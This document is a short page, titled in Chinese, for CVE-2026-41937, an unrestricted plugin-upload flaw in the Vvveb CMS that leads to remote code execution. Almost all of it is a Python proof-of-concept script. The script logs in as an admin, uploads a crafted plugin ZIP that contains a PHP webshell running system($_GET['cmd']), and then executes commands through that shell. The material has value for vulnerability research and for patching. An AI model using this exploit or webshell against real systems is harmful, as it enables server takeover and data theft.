CVE-2026-41937 Vvveb插件上传远程代码执行漏洞

# Proof of Concept (PoC) for CVE-2026-41937 # This script demonstrates the exploitation of the unrestricted file upload in Vvveb. # Usage: python poc.py <target_url> <username> <password> import requests import zipfile import io import sys def create_malicious_zip(): # Create a malicious ZIP file in memory zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: # 1. plugin.php with valid Slug header plugin_content = """<?php /* Plugin Name: Evil Plugin Slug: evil-plugin Version: 1.0 */ // This file is required for the plugin structure ?>""" zip_file.writestr('plugin.php', plugin_content) # 2. public/index.php with arbitrary PHP code (webshell) shell_content = """<?php system($_GET['cmd']); ?>""" zip_file.writestr('public/index.php', shell_content) zip_buffer.seek(0) return zip_buffer def exploit(target_url, username, password): session = requests.Session() # Step 1: Login as super_admin (Authentication details depend on target config) login_url = f"{target_url}/index.php?module=admin/login" # Note: Adjust payload based on actual login form structure login_data = { 'email': username, 'password': password, 'login': 'login' } print(f"[*] Logging in to {login_url}...") try: r = session.post(login_url, data=login_data) if 'dashboard' not in r.text.lower() and 'admin' not in r.text.lower(): print("[-] Login failed or session token unknown.") return except Exception as e: print(f"[-] Error during login: {e}") return # Step 2: Upload the malicious plugin upload_url = f"{target_url}/index.php?module=admin/plugins&action=install" files = { 'file': ('evil_plugin.zip', create_malicious_zip(), 'application/zip') } print(f"[*] Uploading malicious plugin to {upload_url}...") try: r = session.post(upload_url, files=files) print(f"[*] Upload response status: {r.status_code}") except Exception as e: print(f"[-] Error during upload: {e}") return # Step 3: Trigger the RCE # The plugin slug is 'evil-plugin', so the path is usually /plugins/evil-plugin/public/index.php shell_url = f"{target_url}/plugins/evil-plugin/public/index.php" print(f"[*] Triggering payload at {shell_url}?cmd=whoami...") try: r = session.get(f"{shell_url}?cmd=whoami") if r.status_code == 200: print("[+] Exploit successful! Command output:") print(r.text) else: print(f"[-] Failed to execute code. Status: {r.status_code}") except Exception as e: print(f"[-] Error triggering payload: {e}") if __name__ == "__main__": if len(sys.argv) != 4: print("Usage: python poc.py <url> <user> <pass>") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])